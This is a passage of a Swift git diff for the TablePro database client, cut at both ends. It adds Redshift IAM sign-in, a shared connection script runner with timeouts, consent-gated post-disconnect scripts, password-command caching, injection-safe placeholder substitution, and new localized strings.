Google token request carries its own 30-second limit. + func mint(deadline: ConnectionDeadline?) async throws -> ResolvedSignIn { switch self { case .aws(let signer): - return try await signer.token(deadline: deadline) + return ResolvedSignIn(username: nil, password: try await signer.token(deadline: deadline)) + case .redshift(let signIn): + return try await signIn.signIn(deadline: deadline) case .googleCloud(let login): - return try await CloudSQLIAMTokenCache.shared.accessToken(for: login) + return ResolvedSignIn(username: nil, password: try await CloudSQLIAMTokenCache.shared.accessToken(for: login)) } } - /// For the sign-ins a driver makes after the connect, which the connect's deadline no longer covers. + // A later sign-in is past the connect's deadline. var refreshPassword: @Sendable () async throws -> String { - { try await mint(deadline: nil) } + { try await mint(deadline: nil).password } } } diff --git a/apple/TablePro/Core/Database/NativeDumpService.swift b/apple/TablePro/Core/Database/NativeDumpService.swift index e85d3908e0..7b18168b0a 100644 --- a/apple/TablePro/Core/Database/NativeDumpService.swift +++ b/apple/TablePro/Core/Database/NativeDumpService.swift @@ -255,19 +255,18 @@ final class NativeDumpService: ObservableObject { } } - let effective = session?.effectiveConnection ?? connection - /// The same resolution the connect used. Reading the Keychain directly, which this used to - /// do, meant a dump of a connection whose password comes from a `PasswordSource`, from - /// `~/.pgpass` or from an AWS IAM token ran with no password at all. - /// The error is raised, not swallowed. A password source whose file is missing, whose - /// command failed, or whose store is untrusted used to become a missing password and a - /// misleading authentication failure from the server. - let password = try await ConnectionCredentialResolver.resolvePassword( + var effective = session?.effectiveConnection ?? connection + // The connect's own resolution, errors included: a Keychain read misses every other source. + let signIn = try await ConnectionCredentialResolver.resolveSignIn( for: effective, fields: DatabaseDriverFactory.resolvedAdditionalFields(for: effective) ?? effective.additionalFields, override: session?.cachedPassword ) + if let username = signIn.username { + effective.username = username + } + let password = signIn.password let localFilePath = Self.localFilePath(for: effective) let catalog = descriptor.engineStatements == nil ? nil diff --git a/apple/TablePro/Core/Database/PostDisconnectScripts.swift b/apple/TablePro/Core/Database/PostDisconnectScripts.swift new file mode 100644 index 0000000000..5d485c93fb --- /dev/null +++ b/apple/TablePro/Core/Database/PostDisconnectScripts.swift @@ -0,0 +1,108 @@ +// +// PostDisconnectScripts.swift +// TablePro +// + +import Foundation +import os + +struct PendingPostDisconnectScript: Equatable, Sendable { + let script: String + let context: ConnectionScriptContext + let timeoutSeconds: Int +} + +// Armed when a session's pre-connect script succeeds, fired once when that session ends. +@MainActor +final class PostDisconnectScripts { + typealias Runner = @Sendable (PendingPostDisconnectScript) async -> Void + + nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "PostDisconnectScripts") + + private let run: Runner + private var armed: [UUID: PendingPostDisconnectScript] = [:] + private var running: [UUID: (token: UUID, task: Task)] = [:] + private var setupsInFlight = 0 + private var setupsSettled: [CheckedContinuation] = [] + private(set) var isDraining = false + + init(run: @escaping Runner = PostDisconnectScripts.runAndLog) { + self.run = run + } + + func arm(_ script: PendingPostDisconnectScript, for connectionId: UUID) { + armed[connectionId] = script + } + + func isArmed(for connectionId: UUID) -> Bool { + armed[connectionId] != nil + } + + func fire(for connectionId: UUID) { + guard let script = armed.removeValue(forKey: connectionId) else { return } + let previous = running[connectionId]?.task + let token = UUID() + let task = Task { [run] in + await previous?.value + await run(script) + if self.running[connectionId]?.token == token { + self.running.removeValue(forKey: connectionId) + } + } + running[connectionId] = (token, task) + } + + // A new pre-connect script waits, or the old session's cleanup would undo what it sets up. + func finish(for connectionId: UUID) async { + await running[connectionId]?.task.value + } + + // A pre-connect script still running at quit may yet arm a cleanup, so the drain waits for it. + func setupStarted() { + setupsInFlight += 1 + } + + func setupEnded() { + setupsInFlight -= 1 + guard setupsInFlight == 0 else { return } + let waiting = setupsSettled + setupsSettled.removeAll() + waiting.forEach { $0.resume() } + } + + // Quitting ends every session without a disconnect, so this is their only chance to run. + func fireAllAndWait(closingSessions closeSessions: ([UUID]) async -> Void = { _ in }) async { + isDraining = true + if setupsInFlight > 0 { + await withCheckedContinuation { setupsSettled.append($0) } + } + await closeSessions(Array(armed.keys)) + for connectionId in Array(armed.keys) { + fire(for: connectionId) + } + while let entry = running.values.first { + await entry.task.value + } + } + + nonisolated static func runAndLog(_ pending: PendingPostDisconnectScript) async { + let name = pending.context.connectionName + do { + let outcome = try await ConnectionScriptRunner.run( + pending.script, + environment: pending.context.environment, + timeoutSeconds: pending.timeoutSeconds + ) + switch outcome { + case .succeeded: + logger.info("Post-disconnect script for \(name) finished") + case let .failed(exitCode, stderr): + logger.error("Post-disconnect script for \(name) exited with \(exitCode): \(stderr)") + case .timedOut: + logger.error("Post-disconnect script for \(name) timed out after \(pending.timeoutSeconds) seconds") + } + } catch { + logger.error("Post-disconnect script for \(name) did not run: \(error.localizedDescription)") + } + } +} diff --git a/apple/TablePro/Core/Database/PreConnectScriptConsent.swift b/apple/TablePro/Core/Database/PreConnectScriptConsent.swift index f626a719b2..3c803ff24f 100644 --- a/apple/TablePro/Core/Database/PreConnectScriptConsent.swift +++ b/apple/TablePro/Core/Database/PreConnectScriptConsent.swift @@ -15,6 +15,13 @@ internal extension DatabaseConnection { var hasPreConnectScript: Bool { trimmedPreConnectScript != nil } + + // Runs only for a session whose pre-connect script ran, so it never stands on its own. + var trimmedPostDisconnectScript: String? { + guard hasPreConnectScript, let script = postDisconnectScript else { return nil } + let trimmed = script.trimmingCharacters(in: .whitespacesAndNewlines) + return trimmed.isEmpty ? nil : trimmed + } } internal enum ConnectTrigger: Sendable, Equatable { @@ -26,7 +33,7 @@ internal enum ConnectTrigger: Sendable, Equatable { @MainActor internal protocol PreConnectScriptAsking { - func ask(connectionName: String, script: String) async -> ConsentAnswer + func ask(connectionName: String, script: String, postDisconnectScript: String?) async -> ConsentAnswer } internal enum PreConnectScriptConsentError: Error, Equatable, Sendable { @@ -69,6 +76,7 @@ extension PreConnectScriptConsentError: LocalizedError { internal final class PreConnectScriptConsent { private struct Approval { let script: String + let postDisconnectScript: String? let expiresAt: ContinuousClock.Instant } @@ -89,8 +97,17 @@ internal final class PreConnectScriptConsent { internal func confirm(_ connection: DatabaseConnection) async -> Bool { guard let script = connection.trimmedPreConnectScript else { return true } - guard await asker.ask(connectionName: connection.name, script: script) == .approved else { return false } - approvals[connection.id] = Approval(script: script, expiresAt: now() + Self.approvalLifetime) + let postDisconnectScript = connection.trimmedPostDisconnectScript + guard await asker.ask( + connectionName: connection.name, + script: script, + postDisconnectScript: postDisconnectScript + ) == .approved else { return false } + approvals[connection.id] = Approval( + script: script, + postDisconnectScript: postDisconnectScript, + expiresAt: now() + Self.approvalLifetime + ) return true } @@ -101,13 +118,19 @@ internal final class PreConnectScriptConsent { /// An approval is spent by one connect, and only for the script text it was given for. internal func authorize(_ connection: DatabaseConnection, trigger: ConnectTrigger) async throws { guard let script = connection.trimmedPreConnectScript else { return } + let postDisconnectScript = connection.trimmedPostDisconnectScript if let approval = approvals.removeValue(forKey: connection.id), approval.script == script, + approval.postDisconnectScript == postDisconnectScript, approval.expiresAt > now() { return } guard trigger == .request else { throw PreConnectScriptConsentError.needsPerson } - switch await asker.ask(connectionName: connection.name, script: script) { + switch await asker.ask( + connectionName: connection.name, + script: script, + postDisconnectScript: postDisconnectScript + ) { case .approved: return case .declined: diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift index 9cf73c5901..d6a1f4d05f 100644 --- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift +++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift @@ -219,6 +219,16 @@ extension PluginMetadataRegistry { let awsIAMFields = AWSAuthFields.standard() + [AWSAuthFields.rdsEndpointField()] + let redshiftIAMFields = AWSAuthFields.standard() + [ + ConnectionField( + id: RedshiftIAMSignIn.endpointFieldId, + label: String(localized: "Redshift Endpoint"), + placeholder: "my-cluster.abc123.us-east-1.redshift.amazonaws.com", + section: .authentication, + visibleWhen: FieldVisibilityRule(fieldId: "awsAuth", values: ["accessKey", "profile", "sso"]) + ) + ] + /// Cloud SQL signs IAM principals in to MySQL and PostgreSQL only, so SQL Server and the /// MySQL and PostgreSQL forks keep the AWS-only picker. let cloudIAMFields = GoogleCloudSQLAuthFields.standardWithAWS() + [AWSAuthFields.rdsEndpointField()] @@ -506,7 +516,7 @@ extension PluginMetadataRegistry { columnTypesByCategory: postgresqlColumnTypes ), connection: PluginMetadataSnapshot.ConnectionConfig( - additionalConnectionFields: [pgpassField, connectionOptionsField], + additionalConnectionFields: [pgpassField, connectionOptionsField] + redshiftIAMFields, category: .analytical, tagline: String(localized: "Amazon's columnar warehouse on Postgres") ) diff --git a/apple/TablePro/Core/Services/Infrastructure/ConnectionScriptRunner.swift b/apple/TablePro/Core/Services/Infrastructure/ConnectionScriptRunner.swift new file mode 100644 index 0000000000..3edb3bf454 --- /dev/null +++ b/apple/TablePro/Core/Services/Infrastructure/ConnectionScriptRunner.swift @@ -0,0 +1,160 @@ +// +// ConnectionScriptRunner.swift +// TablePro +// + +import Darwin +import Foundation +import TableProUtilities + +enum ConnectionScriptOutcome: Equatable, Sendable { + case succeeded + case failed(exitCode: Int32, stderr: String) + case timedOut +} + +enum ConnectionScriptRunner { + static let defaultTimeoutSeconds = 10 + static let timeoutSecondsRange = 1 ... 300 + + private static let forcedStopGrace = Duration.seconds(2) + + static func run( + _ script: String, + environment: [String: String], + timeoutSeconds: Int, + clock: any Clock = ContinuousClock() + ) async throws -> ConnectionScriptOutcome { + try Task.checkCancellation() + + let process = Process() + process.executableURL = URL(fileURLWithPath: "/bin/bash") + process.arguments = ["-c", script] + process.environment = CLIToolEnvironment.augmented().merging(environment) { _, connection in connection } + process.standardInput = FileHandle.nullDevice + process.standardOutput = FileHandle.nullDevice + let stderrPipe = Pipe() + process.standardError = stderrPipe + + let stderr = ScriptOutput() + let stderrReader = PipeReader(stderrPipe.fileHandleForReading) + stderrReader.start { stderr.append($0) } + let exit = ScriptExit() + process.terminationHandler = { _ in exit.finish() } + try process.run() + + let stopper = ScriptStopper(process: process, grace: forcedStopGrace) + let timeout = Task { + try await clock.sleep(for: .seconds(timeoutSeconds)) + stopper.stop() + } + await withTaskCancellationHandler { + await exit.wait() + } onCancel: { + stopper.stop() + } + timeout.cancel() + // A helper the script left in the background keeps stderr open, so read only what is already there. + stderrReader.stop(drainingUpTo: DescriptorRead.pipeCapacity) + + try Task.checkCancellation() + if stopper.wasStopped, process.terminationReason == .uncaughtSignal { + return .timedOut + } + if process.terminationStatus != 0 { + return .failed(exitCode: process.terminationStatus, stderr: stderr.text) + } + return .succeeded + } +} + +enum PreConnectScriptError: LocalizedError, Equatable { + case failed(exitCode: Int32, stderr: String) + case timedOut(seconds: Int) + + var errorDescription: String? { + switch self { + case let .failed(exitCode, stderr): + let message = stderr.trimmingCharacters(in: .whitespacesAndNewlines) + if message.isEmpty { + return String(format: String(localized: "Pre-connect script failed with exit code %d"), exitCode) + } + return String(format: String(localized: "Pre-connect script failed (exit %d): %@"), exitCode, message) + case let .timedOut(seconds): + return String(format: String(localized: "Pre-connect script timed out after %d seconds"), seconds) + } + } +} + +private final class ScriptOutput: @unchecked Sendable { + private let lock = NSLock() + private var data = Data() + + func append(_ chunk: Data) { + lock.withLock { data.append(chunk) } + } + + var text: String { + lock.withLock { String(data: data, encoding: .utf8) ?? "" } + } +} + +private final class ScriptExit: @unchecked Sendable { + private let lock = NSLock() + private var finished = false + private var continuation: CheckedContinuation? + + func finish() { + let waiting = lock.withLock { () -> CheckedContinuation? in + finished = true + defer { continuation = nil } + return continuation + } + waiting?.resume() + } + + func wait() async { + await withCheckedContinuation { (waiter: CheckedContinuation) in + let alreadyFinished = lock.withLock { () -> Bool in + if !finished { continuation = waiter } + return finished + } + if alreadyFinished { waiter.resume() } + } + } +} + +// Signals the script's whole process group, so whatever it started goes too, and kills what ignores SIGTERM. +private final class ScriptStopper: @unchecked Sendable { + private let process: Process + private let grace: Duration + private let lock = NSLock() + private var stopped = false + + init(process: Process, grace: Duration) { + self.process = process + self.grace = grace + } + + var wasStopped: Bool { + lock.withLock { stopped } + } + + func stop() { + let first = lock.withLock { () -> Bool in + defer { stopped = true } + return !stopped + } + guard first, process.isRunning else { return } + let pid = process.processIdentifier + if kill(-pid, SIGTERM) != 0 { + process.terminate() + } + Task.detached { [process, grace] in + try? await Task.sleep(for: grace) + if process.isRunning { + kill(-pid, SIGKILL) + } + } + } +} diff --git a/apple/TablePro/Core/Services/Infrastructure/PreConnectHookRunner.swift b/apple/TablePro/Core/Services/Infrastructure/PreConnectHookRunner.swift deleted file mode 100644 index 44f2cf8fb9..0000000000 --- a/apple/TablePro/Core/Services/Infrastructure/PreConnectHookRunner.swift +++ /dev/null @@ -1,112 +0,0 @@ -// -// PreConnectHookRunner.swift -// TablePro -// - -import Foundation -import os -import TableProUtilities - -/// Runs a shell script before establishing a database connection. -/// Non-zero exit aborts the connection with an error. -enum PreConnectHookRunner { - private static let logger = Logger(subsystem: "com.TablePro", category: "PreConnectHookRunner") - - enum HookError: LocalizedError { - case scriptFailed(exitCode: Int32, stderr: String) - case timeout - case cancelled - - var errorDescription: String? { - switch self { - case let .scriptFailed(exitCode, stderr): - let message = stderr.trimmingCharacters(in: .whitespacesAndNewlines) - if message.isEmpty { - return String(format: String(localized: "Pre-connect script failed with exit code %d"), exitCode) - } - return String(format: String(localized: "Pre-connect script failed (exit %d): %@"), exitCode, message) - case .timeout: - return String(localized: "Pre-connect script timed out after 10 seconds") - case .cancelled: - return String(localized: "Pre-connect script was cancelled") - } - } - } - - /// Run a shell script before connecting. Throws on non-zero exit or timeout. - /// Executes on a background thread to avoid blocking the MainActor. - static func run(script: String, environment: [String: String]? = nil) async throws { - logger.info("Running pre-connect script") - - try await Task.detached { - let process = Process() - process.executableURL = URL(fileURLWithPath: "/bin/bash") - process.arguments = ["-c", script] - - var env = ProcessInfo.processInfo.environment - if let environment { - for (key, value) in environment { - env[key] = value - } - } - process.environment = env - - let stderrPipe = Pipe() - process.standardError = stderrPipe - process.standardOutput = FileHandle.nullDevice - - // Drain stderr on a background thread to prevent pipe deadlock. - // If the child writes >64KB to stderr without the parent reading, - // the pipe buffer fills and the child blocks on write — deadlocking - // with waitUntilExit() on the parent side. - let stderrCollector = StderrCollector() - let stderrReader = PipeReader(stderrPipe.fileHandleForReading) - stderrReader.start { chunk in - stderrCollector.append(chunk) - } - - try process.run() - - let timeoutTask = Task.detached { - try await Task.sleep(nanoseconds: 10_000_000_000) - if process.isRunning { - process.terminate() - } - } - - process.waitUntilExit() - timeoutTask.cancel() - - stderrReader.stop(drainingUpTo: DescriptorRead.pipeCapacity) - let stderr = stderrCollector.result - - if process.terminationReason == .uncaughtSignal { - throw HookError.timeout - } - - if process.terminationStatus != 0 { - throw HookError.scriptFailed(exitCode: process.terminationStatus, stderr: stderr) - } - }.value - - logger.info("Pre-connect script completed successfully") - } -} - -/// Thread-safe collector for stderr output from a child process. -private final class StderrCollector: @unchecked Sendable { - private let lock = NSLock() - private var data = Data() - - func append(_ chunk: Data) { - lock.lock() - data.append(chunk) - lock.unlock() - } - - var result: String { - lock.lock() - defer { lock.unlock() } - return String(data: data, encoding: .utf8) ?? "" - } -} diff --git a/apple/TablePro/Core/Services/Infrastructure/PreConnectScriptPrompt.swift b/apple/TablePro/Core/Services/Infrastructure/PreConnectScriptPrompt.swift index b393601c1c..e421171b1f 100644 --- a/apple/TablePro/Core/Services/Infrastructure/PreConnectScriptPrompt.swift +++ b/apple/TablePro/Core/Services/Infrastructure/PreConnectScriptPrompt.swift @@ -8,15 +8,29 @@ import Foundation @MainActor internal struct PreConnectScriptPrompt: PreConnectScriptAsking { - internal func ask(connectionName: String, script: String) async -> ConsentAnswer { + internal func ask(connectionName: String, script: String, postDisconnectScript: String?) async -> ConsentAnswer { await AlertHelper.askConsent( title: String(localized: "Pre-Connect Script"), - message: String( - format: String(localized: "Connection \"%@\" has a script that will run before connecting:\n\n%@"), - connectionName, script + message: Self.message( + connectionName: connectionName, + script: script, + postDisconnectScript: postDisconnectScript ), confirmButton: String(localized: "Run Script"), window: NSApp.keyWindow ) } + + internal static func message(connectionName: String, script: String, postDisconnectScript: String?) -> String { + let preConnect = String( + format: String(localized: "Connection \"%@\" has a script that will run before connecting:\n\n%@"), + connectionName, script + ) + guard let postDisconnectScript else { return preConnect } + let postDisconnect = String( + format: String(localized: "And one that will run after this session ends:\n\n%@"), + postDisconnectScript + ) + return preConnect + "\n\n" + postDisconnect + } } diff --git a/apple/TablePro/Core/Utilities/Connection/ConnectionScriptContext.swift b/apple/TablePro/Core/Utilities/Connection/ConnectionScriptContext.swift new file mode 100644 index 0000000000..2695fb40c3 --- /dev/null +++ b/apple/TablePro/Core/Utilities/Connection/ConnectionScriptContext.swift @@ -0,0 +1,144 @@ +// +// ConnectionScriptContext.swift +// TablePro +// + +import Foundation + +struct ConnectionScriptContext: Equatable, Sendable { + let connectionId: UUID + let connectionName: String + let host: String + let port: Int + let user: String + let database: String + + var environment: [String: String] { + [ + "TABLEPRO_CONNECTION_NAME": connectionName, + "TABLEPRO_HOST": host, + "TABLEPRO_PORT": String(port), + "TABLEPRO_USER": user, + "TABLEPRO_DATABASE": database + ] + } + + // A placeholder becomes its TABLEPRO_ variable, never the value as source, so a hostile name cannot run as code. + func substitutingPlaceholders(in command: String) -> String { + var output = "" + var contexts: [ShellContext] = [.plain] + var index = command.startIndex + + while index < command.endIndex { + let character = command[index] + let next = command.index(after: index) + let context = contexts.last ?? .plain + + if character == "#", context.startsComments, Self.startsWord(in: command, at: index) { + let lineEnd = command[index...].firstIndex(of: "\n") ?? command.endIndex + output += command[index ..< lineEnd] + index = lineEnd + continue + } + + if character == "{", !Self.followsDollar(in: command, at: index), + let (variable, end) = Self.placeholderVariable(in: command, at: index) { + output += context.reference(to: variable) + index = end + continue + } + + output.append(character) + switch character { + case "\\" where context != .single && next < command.endIndex: + output.append(command[next]) + index = command.index(after: next) + continue + case "'" where context == .single: + contexts.removeLast() + case "'" where context != .double: + contexts.append(.single) + case "\"" where context == .double: + contexts.removeLast() + case "\"" where context != .single: + contexts.append(.double) + case "$" where context != .single && next < command.endIndex && command[next] == "(": + output.append("(") + contexts.append(.substitution) + index = command.index(after: next) + continue + case "(" where context == .substitution || context == .group: + contexts.append(.group) + case ")" where context == .substitution || context == .group: + contexts.removeLast() + case "`" where context == .backtick: + contexts.removeLast() + case "`" where context != .single: + contexts.append(.backtick) + default: + break + } + index = next + } + return output + } + + private static func placeholderVariable(in command: String, at start: String.Index) -> (String, String.Index)? { + guard let close = command[start...].firstIndex(of: "}") else { return nil } + let variable: String + switch command[command.index(after: start) ..< close] { + case "host": variable = "TABLEPRO_HOST" + case "port": variable = "TABLEPRO_PORT" + case "user": variable = "TABLEPRO_USER" + case "database": variable = "TABLEPRO_DATABASE" + default: return nil + } + return (variable, command.index(after: close)) + } + + private static func followsDollar(in command: String, at index: String.Index) -> Bool { + index > command.startIndex && command[command.index(before: index)] == "$" + } + + private static func startsWord(in command: String, at index: String.Index) -> Bool { + guard index > command.startIndex else { return true } + let previous = command[command.index(before: index)] + return previous.isWhitespace || ";|&()`".contains(previous) + } +} + +private enum ShellContext: Equatable { + case plain + case single + case double + case substitution + case group + case backtick + + var startsComments: Bool { + self != .single && self != .double + } + + func reference(to variable: String) -> String { + switch self { + case .single: "'\"${\(variable)}\"'" + case .double: "${\(variable)}" + case .plain, .substitution, .group, .backtick: "\"${\(variable)}\"" + } + } +} + +extension ConnectionScriptContext { + // The host the person typed, not the loopback forward a tunnel puts in its place. + @MainActor + init(connection: DatabaseConnection) { + self.init( + connectionId: connection.id, + connectionName: connection.name, + host: connection.preTunnelHost ?? connection.host, + port: connection.preTunnelPort ?? connection.port, + user: ConnectionCredentialResolver.resolveUsername(for: connection), + database: connection.database + ) + } +} diff --git a/apple/TablePro/Core/Utilities/Connection/PasswordCommandCache.swift b/apple/TablePro/Core/Utilities/Connection/PasswordCommandCache.swift new file mode 100644 index 0000000000..90daba13f0 --- /dev/null +++ b/apple/TablePro/Core/Utilities/Connection/PasswordCommandCache.swift @@ -0,0 +1,57 @@ +// +// PasswordCommandCache.swift +// TablePro +// + +import Foundation + +// In memory only: a password command's output is a secret and never reaches disk. +final class PasswordCommandCache: @unchecked Sendable { + static let shared = PasswordCommandCache() + + private struct Key: Hashable { + let connectionId: UUID + let command: String + let environment: [String: String] + let lifetime: Duration + } + + private struct Entry { + let password: String + let expiresAt: ContinuousClock.Instant + } + + private let lock = NSLock() + private let now: @Sendable () -> ContinuousClock.Instant + private var entries: [Key: Entry] = [:] + + init(now: @escaping @Sendable () -> ContinuousClock.Instant = { .now }) { + self.now = now + } + + func password( + connectionId: UUID, + command: String, + environment: [String: String], + lifetime: Duration, + resolve: () async throws -> String + ) async throws -> String { + let key = Key(connectionId: connectionId, command: command, environment: environment, lifetime: lifetime) + if let cached = lock.withLock({ entries[key] }), cached.expiresAt > now() { + return cached.password + } + let password = try await resolve() + lock.withLock { + let current = now() + entries = entries.filter { $0.value.expiresAt > current } + entries[key] = Entry(password: password, expiresAt: current + lifetime) + } + return password + } + + func forget(connectionId: UUID) { + lock.withLock { + entries = entries.filter { $0.key.connectionId != connectionId } + } + } +} diff --git a/apple/TablePro/Core/Utilities/Connection/PasswordSourceResolver.swift b/apple/TablePro/Core/Utilities/Connection/PasswordSourceResolver.swift index 20bb461281..3be50e012f 100644 --- a/apple/TablePro/Core/Utilities/Connection/PasswordSourceResolver.swift +++ b/apple/TablePro/Core/Utilities/Connection/PasswordSourceResolver.swift @@ -70,15 +70,35 @@ enum PasswordSourceResolver { static func resolve( _ source: PasswordSource, - environment: [String: String] = ProcessInfo.processInfo.environment + for context: ConnectionScriptContext? = nil, + environment: [String: String] = ProcessInfo.processInfo.environment, + cache: PasswordCommandCache = .shared ) async throws -> String { switch source { case let .file(path): return try resolveFile(path: path) case let .env(variable): return try resolveEnvironment(variable: variable, in: environment) - case let .command(shell): - return try await resolveCommand(shell: shell, timeoutSeconds: commandTimeoutSeconds) + case let .command(shell, reuseSeconds): + let command = context?.substitutingPlaceholders(in: shell) ?? shell + let commandEnvironment = context?.environment ?? [:] + let run = { + try await resolveCommand( + shell: command, + environment: commandEnvironment, + timeoutSeconds: commandTimeoutSeconds + ) + } + guard let context, let reuseSeconds = PasswordSource.validReuseSeconds(reuseSeconds) else { + return try await run() + } + return try await cache.password( + connectionId: context.connectionId, + command: command, + environment: commandEnvironment, + lifetime: .seconds(reuseSeconds), + resolve: run + ) case .onePassword, .vault: return try await resolveExternalTool(source) case let .awsSecretsManager(_, jsonKey): @@ -153,6 +173,7 @@ enum PasswordSourceResolver { static func resolveCommand( shell: String, + environment: [String: String] = [:], timeoutSeconds: UInt64, clock: any Clock = ContinuousClock() ) async throws -> String { @@ -160,7 +181,7 @@ enum PasswordSourceResolver { let process = Process() process.executableURL = URL(fileURLWithPath: "/bin/bash") process.arguments = ["-c", shell] - process.environment = CLIToolEnvironment.augmented() + process.environment = CLIToolEnvironment.augmented().merging(environment) { _, connection in connection } process.standardInput = FileHandle.nullDevice let stdoutPipe = Pipe() diff --git a/apple/TablePro/Models/Connection/DatabaseConnection.swift b/apple/TablePro/Models/Connection/DatabaseConnection.swift index 0e6226c416..de5a9c56c9 100644 --- a/apple/TablePro/Models/Connection/DatabaseConnection.swift +++ b/apple/TablePro/Models/Connection/DatabaseConnection.swift @@ -151,6 +151,8 @@ struct DatabaseConnection: Identifiable, Hashable { static let connectTimeoutSecondsKey = "connectTimeoutSeconds" static let queryTimeoutSecondsKey = "queryTimeoutSeconds" static let queryTimeoutSecondsRange = 0 ... Int(Int32.max) / 1_000 + static let postDisconnectScriptKey = "postDisconnectScript" + static let scriptTimeoutSecondsKey = "scriptTimeoutSeconds" let id: UUID var name: String @@ -250,6 +252,31 @@ struct DatabaseConnection: Identifiable, Hashable { set { additionalFields["preConnectScript"] = newValue ?? "" } } + var postDisconnectScript: String? { + get { additionalFields[Self.postDisconnectScriptKey]?.nilIfEmpty } + set { additionalFields[Self.postDisconnectScriptKey] = newValue ?? "" } + } + + var scriptTimeoutSeconds: Int? { + get { + guard let value = additionalFields[Self.scriptTimeoutSecondsKey].flatMap(Int.init), + ConnectionScriptRunner.timeoutSecondsRange.contains(value) + else { return nil } + return value + } + set { + if let newValue, ConnectionScriptRunner.timeoutSecondsRange.contains(newValue) { + additionalFields[Self.scriptTimeoutSecondsKey] = String(newValue) + } else { + additionalFields.removeValue(forKey: Self.scriptTimeoutSecondsKey) + } + } + } + + var effectiveScriptTimeoutSeconds: Int { + scriptTimeoutSeconds ?? ConnectionScriptRunner.defaultTimeoutSeconds + } + var connectTimeoutSeconds: Int? { get { if let common = additionalFields[Self.connectTimeoutSecondsKey] { diff --git a/apple/TablePro/Models/Connection/PasswordSource.swift b/apple/TablePro/Models/Connection/PasswordSource.swift index 9767fbb508..0c593b9599 100644 --- a/apple/TablePro/Models/Connection/PasswordSource.swift +++ b/apple/TablePro/Models/Connection/PasswordSource.swift @@ -6,20 +6,20 @@ import Foundation import os -/// Declares where a connection's password comes from when it is not stored in the Keychain. -/// Resolved at connect time from a file, an environment variable, or the stdout of a shell command. enum PasswordSource: Codable, Hashable, Sendable { case file(path: String) case env(variable: String) - case command(shell: String) + case command(shell: String, reuseSeconds: Int? = nil) case onePassword(reference: String) case vault(path: String, field: String) case awsSecretsManager(secretId: String, jsonKey: String?) + static let reuseSecondsRange = 1 ... 86_400 + private static let logger = Logger(subsystem: "com.TablePro", category: "PasswordSource") private enum CodingKeys: String, CodingKey { - case kind, path, variable, shell, reference, field, secretId, jsonKey + case kind, path, variable, shell, reuseSeconds, reference, field, secretId, jsonKey } private enum Kind: String { @@ -35,7 +35,10 @@ enum PasswordSource: Codable, Hashable, Sendable { case Kind.env.rawValue: self = .env(variable: try container.decode(String.self, forKey: .variable)) case Kind.command.rawValue: - self = .command(shell: try container.decode(String.self, forKey: .shell)) + self = .command( + shell: try container.decode(String.self, forKey: .shell), + reuseSeconds: Self.validReuseSeconds(try? container.decodeIfPresent(Int.self, forKey: .reuseSeconds)) + ) case Kind.onePassword.rawValue: self = .onePassword(reference: try container.decode(String.self, forKey: .reference)) case Kind.vault.rawValue: @@ -66,9 +69,10 @@ enum PasswordSource: Codable, Hashable, Sendable { case let .env(variable): try container.encode(Kind.env.rawValue, forKey: .kind) try container.encode(variable, forKey: .variable) - case let .command(shell): + case let .command(shell, reuseSeconds): try container.encode(Kind.command.rawValue, forKey: .kind) try container.encode(shell, forKey: .shell) + try container.encodeIfPresent(Self.validReuseSeconds(reuseSeconds), forKey: .reuseSeconds) case let .onePassword(reference): try container.encode(Kind.onePassword.rawValue, forKey: .kind) try container.encode(reference, forKey: .reference) @@ -83,6 +87,10 @@ enum PasswordSource: Codable, Hashable, Sendable { } } + static func validReuseSeconds(_ value: Int?) -> Int? { + value.flatMap { reuseSecondsRange.contains($0) ? $0 : nil } + } + /// Decodes a password source from a connection container, treating a present-but-malformed /// entry as absent so one bad connection cannot fail loading of the whole store. static func resilientlyDecoded( diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings index b34b1dc845..bfd44e38f4 100644 --- a/apple/TablePro/Resources/Localizable.xcstrings +++ b/apple/TablePro/Resources/Localizable.xcstrings @@ -876,6 +876,9 @@ "\"%@\" is not a Realtime Database URL. It looks like https://.firebaseio.com or https://..firebasedatabase.app." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "\"%@\" is not a Redshift cluster or Serverless workgroup endpoint." : { + }, "\"%@\" is not a row limit. Use a whole number above 0." : { "extractionState" : "manual", @@ -24108,6 +24111,9 @@ } } } + }, + "And one that will run after this session ends:\n\n%@" : { + }, "ANALYZE (update statistics afterwards)" : { "extractionState" : "manual", @@ -29509,6 +29515,12 @@ } } } + }, + "AWS answered without the Redshift user and password." : { + + }, + "AWS did not issue Redshift credentials: %@" : { + }, "Back" : { "localizations" : { @@ -88179,6 +88191,9 @@ } } } + }, + "How long each script may run, from 1 to 300 seconds." : { + }, "How long it has run" : { "localizations" : { @@ -94814,6 +94829,9 @@ } } } + }, + "It stays on this Mac and never syncs, because it can name a command to run." : { + }, "is empty" : { "localizations" : { @@ -132484,6 +132502,9 @@ } } } + }, + "Post-Disconnect Script" : { + }, "PostgreSQL %1$@ needs %2$@ %3$@ or later." : { "localizations" : { @@ -132734,6 +132755,9 @@ } } } + }, + "Pre-connect script timed out after %d seconds" : { + }, "Pre-connect script timed out after 10 seconds" : { "localizations" : { @@ -141594,6 +141618,9 @@ } } } + }, + "Redshift Endpoint" : { + }, "Ref Columns" : { "localizations" : { @@ -148382,6 +148409,9 @@ } } } + }, + "Reuse Result For" : { + }, "Reveal token" : { "localizations" : { @@ -151980,6 +152010,12 @@ "Runs every statement in one transaction, so a failure rolls back what the import changed. A database that commits CREATE, ALTER and DROP as they run, such as MySQL, keeps those statements and everything before them." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "Runs in bash before connecting. A non-zero exit aborts the connection. TABLEPRO_CONNECTION_NAME, TABLEPRO_HOST, TABLEPRO_PORT, TABLEPRO_USER and TABLEPRO_DATABASE describe the connection." : { + + }, + "Runs in bash once the session ends, only after its pre-connect script ran. A failure is logged, not shown." : { + }, "Runs on '%@'." : { "localizations" : { @@ -155647,6 +155683,9 @@ } } } + }, + "Script timeout must be between 1 and 300 seconds." : { + }, "Scripts import with the connection they run on. Scripts with a default name start unchecked." : { @@ -176223,6 +176262,9 @@ } } } + }, + "TablePro cannot tell which Redshift cluster or workgroup \"%@\" is. Set Host to the endpoint AWS issued, such as my-cluster.abc123.us-east-1.redshift.amazonaws.com, or enter 